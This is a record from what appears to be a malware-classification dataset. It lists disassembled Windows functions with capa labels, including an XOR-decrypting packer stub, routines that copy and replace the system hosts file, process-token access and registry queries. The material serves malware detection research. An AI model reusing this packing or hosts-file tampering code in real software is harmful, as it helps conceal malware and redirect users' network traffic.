joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x7d29069d
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x682010ec
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x401010
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add eax, 2
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 3
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 4
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 5
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 6
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 7
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 8
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 9
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0xa
mov dword [ebp - 4], edx
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x406512
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x406537
mov eax, dword [0x40a8c0]
cmp eax, 0xffffffff
je 0x40652e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x40a8c0], 0xffffffff
jmp 0x4065aa
cmp dword [0x424a80], ebx
je 0x4065aa
cmp byte [0x424680], bl
je 0x406576
cmp dword [0x40a8c0], 0xffffffff
jne 0x40657f
push 4
push 0x40000000
push 0x424680
call fcn.00405ec2
cmp eax, 0xffffffff
mov dword [0x40a8c0], eax
je 0x4065aa
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [0x40a8c0], 0xffffffff
je 0x4065aa
push esi
mov esi, 0x4252a0
push 0x40ab08
push esi
call fcn.00406210
lea eax, [ebp + 8]
push ebx
push eax
push esi
call fcn.00406203
push eax
push esi
push dword [0x40a8c0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
pop ebx
pop ebp
ret 4

Function at 0x40675c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor esi, esi
cmp dword [0x424274], esi
push edi
jne 0x406796
mov ecx, 0x424270
push 8
mov eax, esi
pop edi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec edi
jne 0x406772
mov dword [ecx], eax
add ecx, 4
inc esi
cmp ecx, 0x424670
jl 0x40676d
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov edx, ecx
dec ecx
test edx, edx
not eax
jbe 0x4067cb
lea edx, [ecx + 1]
mov ecx, dword [esp + 0x10]
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x424270]
xor eax, esi
inc ecx
dec edx
jne 0x4067ae
pop edi
pop esi
not eax
ret 0xc

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..reloc
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
je 0x433072
nop
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x2c357c1c
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..rdata
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x214f079a
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x4055a0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x210
mov eax, dword [0x4a55d0]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
push edi
push 0xff
lea eax, [esp + 0x15]
push 0
push eax
mov esi, ecx
mov dword [esp + 0x14], 0
mov byte [esp + 0x1c], 0
call fcn.0043abc0
push 0x104
lea ecx, [esp + 0x120]
push 0
push ecx
call fcn.0043abc0
add esp, 0x18
call fcn.004059a0
push 0x104
lea edx, [esp + 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x405622
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.00436738
add esp, 0x210
ret
push str.driversetchosts
lea eax, [esp + 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x495264
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x10]
push edx
call fcn.00437b9b
mov edi, dword [esp + 0x14]
add esp, 0xc
test edi, edi
je 0x405609
push 0x100
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0043abc0
push edi
lea ecx, [esp + 0x20]
push 0x100
push ecx
call fcn.00437bee
add esp, 0x18
test eax, eax
je 0x4056d7
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [esp + 0x10], 0x23
je 0x4056bc
lea edx, [esp + 0x10]
push edx
call edi
cmp eax, 2
jb 0x4056bc
cmp byte [esp + eax + 0xf], 0xa
lea eax, [esp + eax + 0xf]
jne 0x4056a6
mov byte [eax], 0
push ecx
lea eax, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x10], esp
push eax
call fcn.00401fa0
call fcn.004059f0
mov ecx, dword [esp + 8]
push ecx
lea edx, [esp + 0x14]
push 0x100
push edx
call fcn.00437bee
add esp, 0xc
test eax, eax
jne 0x405685
mov eax, dword [esp + 8]
push eax
call fcn.00437dad
mov ecx, dword [esp + 0x218]
add esp, 4
pop edi
pop esi
xor ecx, esp
mov eax, 1
call fcn.00436738
add esp, 0x210
ret
Function at 0x405760
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
sub esp, 0x314
mov eax, dword [0x4a55d0]
xor eax, esp
mov dword [esp + 0x310], eax
push esi
push 0x103
lea eax, [esp + 0x111]
push 0
push eax
mov esi, ecx
mov byte [esp + 0x118], 0
call fcn.0043abc0
push 0x103
lea ecx, [esp + 0x221]
push 0
push ecx
mov byte [esp + 0x228], 0
call fcn.0043abc0
push 0x104
lea edx, [esp + 0x24]
push 0
push edx
call fcn.0043abc0
add esp, 0x24
call fcn.004059a0
push 0x104
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x4057f2
pop esi
mov ecx, dword [esp + 0x310]
xor ecx, esp
call fcn.00436738
add esp, 0x314
ret
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.driversetchosts
lea eax, [esp + 0xc]
push eax
call esi
push str.driversetchosts_bak
lea ecx, [esp + 0x110]
push ecx
call esi
lea edx, [esp + 8]
push 0x495280
push edx
call fcn.00437b84
mov esi, eax
add esp, 8
test esi, esi
jne 0x405869
lea eax, [esp + 8]
push eax
push str.Open_source_file:__s_failed_n
call fcn.00437e29
add esp, 8
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x310]
xor ecx, esp
call fcn.00436738
add esp, 0x314
ret
lea ecx, [esp + 0x10c]
push 0x4952a4
push ecx
call fcn.00437b84
add esp, 8
mov dword [esp + 4], eax
test eax, eax
jne 0x4058ba
lea edx, [esp + 0x10c]
push edx
push str.Create_source_file:__s_failed_n
call fcn.00437e29
push esi
call fcn.00437dad
add esp, 0xc
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x310]
xor ecx, esp
call fcn.00436738
add esp, 0x314
ret
push ebp
push esi
xor ebp, ebp
call fcn.00437eee
add esp, 4
test eax, eax
jne 0x405931
lea ebx, [ebx]
push 0x104
lea eax, [esp + 0x218]
push 0
push eax
call fcn.0043abc0
push esi
lea ecx, [esp + 0x224]
push 0x104
push ecx
call fcn.00437bee
lea edx, [esp + 0x22c]
push edi
push edx
call fcn.00437330
add esp, 0x20
test eax, eax
jne 0x405923
mov eax, dword [esp + 8]
push eax
lea ecx, [esp + 0x218]
push ecx
call fcn.00437f56
add esp, 8
jmp 0x405924
inc ebp
push esi
call fcn.00437eee
add esp, 4
test eax, eax
je 0x4058d0
push esi
call fcn.00437dad
mov edx, dword [esp + 0xc]
push edx
call fcn.00437dad
add esp, 8
test ebp, ebp
pop ebp
jle 0x40596b
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
jmp 0x405979
lea eax, [esp + 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x314]
pop esi
xor ecx, esp
mov eax, 1
call fcn.00436738
add esp, 0x314
ret
Function at 0x405f80
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x4840ab
mov eax, dword fs:[0]
push eax
sub esp, 0x130
mov eax, dword [0x4a55d0]
xor eax, esp
mov dword [esp + 0x12c], eax
push ebx
push ebp
push edi
mov eax, dword [0x4a55d0]
xor eax, esp
push eax
lea eax, [esp + 0x140]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0x14], ebx
mov ebp, 0xf
mov dword [esp + 0x34], ebp
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
lea eax, [esp + 0x10]
push eax
push 1
push ebx
push str.SOFTWAREMicrosoftInternet_Explorer
mov dword [esp + 0x158], ebx
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x24], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x406035
push 6
push str.unknow
lea ecx, [esp + 0x24]
call fcn.00404f00
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x24]
push ecx
mov dword [esi + 0x18], ebp
mov dword [esi + 0x14], ebx
mov ecx, esi
mov byte [esi + 4], bl
call fcn.004050b0
cmp dword [esp + 0x34], 0x10
jb 0x406128
mov edx, dword [esp + 0x20]
push edx
jmp 0x406120
push 0x103
lea eax, [esp + 0x3d]
push ebx
push eax
mov byte [esp + 0x44], bl
call fcn.0043abc0
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x3c]
push edx
lea eax, [esp + 0x1c]
push eax
push ebx
push str.svcVersion
push ecx
mov dword [esp + 0x30], 0x104
mov dword [esp + 0x2c], 1
call edi
test eax, eax
je 0x4060c2
lea edx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0x1c]
push ecx
push ebx
push str.Version
push edx
call edi
test eax, eax
je 0x4060c2
push 6
push str.unknow
lea ecx, [esp + 0x24]
call fcn.00404f00
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x406008
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
push 0x495410
lea ecx, [esp + 0x24]
call fcn.00404f00
lea eax, [esp + 0x38]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4060e4
sub eax, edx
push eax
lea ecx, [esp + 0x3c]
push ecx
lea eax, [esp + 0x24]
call fcn.00404b60
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x24]
mov dword [esi + 0x18], ebp
mov dword [esi + 0x14], ebx
push edx
mov ecx, esi
mov byte [esi + 4], bl
call fcn.004050b0
cmp dword [esp + 0x34], 0x10
jb 0x406128
mov eax, dword [esp + 0x20]
push eax
call fcn.00418140
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x140]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0x12c]
xor ecx, esp
call fcn.00436738
add esp, 0x13c
ret
Function at 0x4062a0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x134
mov eax, dword [0x4a55d0]
xor eax, esp
mov dword [esp + 0x130], eax
push ebp
mov ebp, dword [esp + 0x13c]
push esi
push edi
xor esi, esi
push 0x124
lea eax, [esp + 0x18]
push esi
push eax
mov dword [esp + 0x1c], esi
call fcn.0043abc0
add esp, 0xc
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x4062f6
push esi
push esi
push 0x495424
call fcn.00419daf
xor eax, eax
jmp 0x406369
lea ecx, [esp + 0x10]
push ecx
push edi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x406360
lea ecx, [ecx]
push ebx
call fcn.004383b1
lea edx, [esp + 0x38]
push edx
mov esi, eax
call fcn.004383b1
add esp, 8
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x406345
test cl, cl
je 0x406341
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x406345
add eax, 2
add esi, 2
test cl, cl
jne 0x406325
xor eax, eax
jmp 0x40634a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x406383
lea eax, [esp + 0x10]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x406310
lea esi, [eax + 1]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00436738
add esp, 0x134
ret 4
mov ecx, dword [esp + 0x18]
push ecx
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push ebp
push 8
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, eax
jmp 0x406360
Function at 0x407870
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x483e90
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x4a55d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor ebx, ebx
push ebx
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
mov dword [ebp - 0x14], ebx
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x40790f
test dword [ebp - 0x14], 0x20
je 0x4078e4
cmp dword [ebp + 0x20], 0x10
jb 0x4078cd
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00418140
add esp, 4
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
cmp dword [ebp + 0x20], 0x10
jb 0x4078f6
mov edx, dword [ebp + 0xc]
push edx
call fcn.00418140
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
push ebx
push ebx
push ebx
push ebx
mov edi, 1
push edi
push ebx
lea ecx, [ebp - 0x30]
call fcn.0041a7a4
mov byte [ebp - 4], 2
cmp dword [ebp + 0x20], 0x10
mov eax, dword [ebp + 0xc]
jae 0x407932
lea eax, [ebp + 0xc]
push ebx
push ebx
push edi
push edi
push eax
lea ecx, [ebp - 0x30]
call fcn.0041b10a
mov esi, eax
mov dword [ebp - 4], edi
cmp esi, ebx
je 0x40798f
push ebx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 0x20000013
mov ecx, esi
mov dword [ebp - 0x1c], 4
call fcn.0041a0e5
cmp eax, ebx
je 0x407976
mov edx, dword [ebp - 0x18]
add edx, 0xffffff38
cmp edx, 0x63
jbe 0x407979
mov edi, dword [ebp - 0x18]
mov eax, dword [esi]
mov edx, dword [eax + 0x4c]
mov ecx, esi
call edx
mov eax, dword [esi]
mov edx, dword [eax + 4]
push 1
mov ecx, esi
call edx
jmp 0x407992
or edi, 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.0041ad6e
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], bl
call fcn.0041ae51
cmp dword [ebp + 0x20], 0x10
jb 0x4079b7
mov eax, dword [ebp + 0xc]
push eax
call fcn.00418140
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x408210
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x4a55d0]
xor eax, esp
mov dword [esp + 0x104], eax
push 0x104
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.00436738
add esp, 0x108
ret

Function at 0x408260
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x4a55d0]
xor eax, esp
mov dword [esp + 0x104], eax
push 0x104
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x408288
mov ecx, dword [str._system32]
mov edx, dword [0x495994]
mov dword [eax], ecx
mov cx, word [0x495998]
mov dword [eax + 4], edx
lea edx, [esp]
push edx
push esi
mov word [eax + 8], cx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.00436738
add esp, 0x108
ret

Function at 0x4082d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x114
mov eax, dword [0x4a55d0]
xor eax, esp
mov dword [esp + 0x110], eax
lea eax, [esp]
push eax
push 1
push 0
push str.SOFTWAREJANSHETO_KEY_TRFYCZ
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x14], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x408327
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x110]
xor ecx, esp
call fcn.00436738
add esp, 0x114
ret
lea edx, [esp + 4]
push edx
mov edx, dword [esp + 4]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
push 0
push str.Path
push edx
mov dword [esp + 0x1c], 0x104
mov dword [esp + 0x20], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40837b
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x110]
xor ecx, esp
call fcn.00436738
add esp, 0x114
ret
lea ecx, [esp + 0xc]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x110]
xor ecx, esp
call fcn.00436738
add esp, 0x114
ret
Function at 0x408440
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x114
mov eax, dword [0x4a55d0]
xor eax, esp
mov dword [esp + 0x110], eax
lea eax, [esp]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftwindowsCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x14], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x408497
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x110]
xor ecx, esp
call fcn.00436738
add esp, 0x114
ret
lea edx, [esp + 4]
push edx
mov edx, dword [esp + 4]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
push 0
push str.ProgramFilesDir
push edx
mov dword [esp + 0x1c], 0x104
mov dword [esp + 0x20], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4084eb
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x110]
xor ecx, esp
call fcn.00436738
add esp, 0x114
ret
lea ecx, [esp + 0xc]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x110]
xor ecx, esp
call fcn.00436738
add esp, 0x114
ret

Function at 0x408b70
Capabilities:
Access peb ldr_data
Get ntdll base address
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x48487b
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4a55d0]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov edi, dword [esp + 0x30]
mov eax, dword [esp + 0x34]
mov dword [edi], eax
mov eax, dword [esp + 0x38]
mov dword [edi + 4], ecx
mov ecx, dword [esp + 0x3c]
lea esi, [edi + 0x18]
push esi
mov dword [edi + 8], edx
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], ecx
call fcn.00404ac0
mov ebx, dword [esi + 0x10]
cmp dword [esi + 0xc], ebx
jbe 0x408bd2
call fcn.00437a93
mov ebp, dword [esi + 0xc]
mov edx, dword [esi]
mov dword [esp + 0x18], edx
cmp ebp, dword [esi + 0x10]
jbe 0x408be5
call fcn.00437a93
mov ecx, dword [esp + 0x18]
mov eax, dword [esi]
push ebx
push ecx
push ebp
push eax
lea ebx, [esp + 0x28]
call fcn.00409c30
mov eax, edi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret 0x10
Function at 0x408dd0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x94
mov eax, dword [0x4a55d0]
xor eax, esp
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x98]
push ebp
push esi
push edi
mov edi, ecx
mov ecx, dword [0x4c0618]
mov esi, edx
mov edx, dword [0x4c061c]
mov dword [esp + 0x94], ecx
mov dword [esp + 0x98], edx
test eax, eax
jbe 0x408e7e
lea ebp, [eax - 1]
shr ebp, 3
inc ebp
jmp 0x408e20
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x98]
push ecx
call fcn.00467850
push 1
lea edx, [esp + 0x1c]
push edx
push esi
push edi
call fcn.004678b0
mov eax, dword [esi]
mov ecx, dword [esi + 4]
add esp, 0x18
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], ecx
xor eax, eax
mov ecx, 8
lea ecx, [ecx]
mov dl, byte [eax + 0x4c0618]
xor byte [esp + eax + 0x94], dl
inc eax
sub ecx, 1
jne 0x408e60
add edi, 8
add esi, 8
sub ebp, 1
jne 0x408e20
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00436738
add esp, 0x94
ret

Function at 0x408f50
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x94
mov eax, dword [0x4a55d0]
xor eax, esp
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x98]
push ebp
push esi
push edi
mov esi, ecx
mov ecx, dword [0x4c0618]
mov edi, edx
mov edx, dword [0x4c061c]
mov dword [esp + 0x94], ecx
mov dword [esp + 0x98], edx
test eax, eax
jbe 0x408ffe
lea ebp, [eax - 1]
shr ebp, 3
inc ebp
jmp 0x408fa0
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x98]
push ecx
call fcn.00467850
push 0
lea edx, [esp + 0x1c]
push edx
push edi
push esi
call fcn.004678b0
mov eax, dword [esi]
mov ecx, dword [esi + 4]
add esp, 0x18
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], ecx
xor eax, eax
mov ecx, 8
lea ecx, [ecx]
mov dl, byte [eax + 0x4c0618]
xor byte [esp + eax + 0x94], dl
inc eax
sub ecx, 1
jne 0x408fe0
add esi, 8
add edi, 8
sub ebp, 1
jne 0x408fa0
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00436738
add esp, 0x94
ret
Function at 0x40a5a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.0041c6db
Function at 0x40e4a0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, dword [esp + 0x10]
test ebp, ebp
jne 0x40e4b0
lea eax, [ebp + 0xd]
pop ebp
ret 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push edi
xor edi, edi
mov esi, ebp
lea ecx, [ecx]
push esi
call ebx
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x40e4c0
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx]
push edi
push ebp
push 7
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
pop ebp
ret 0xc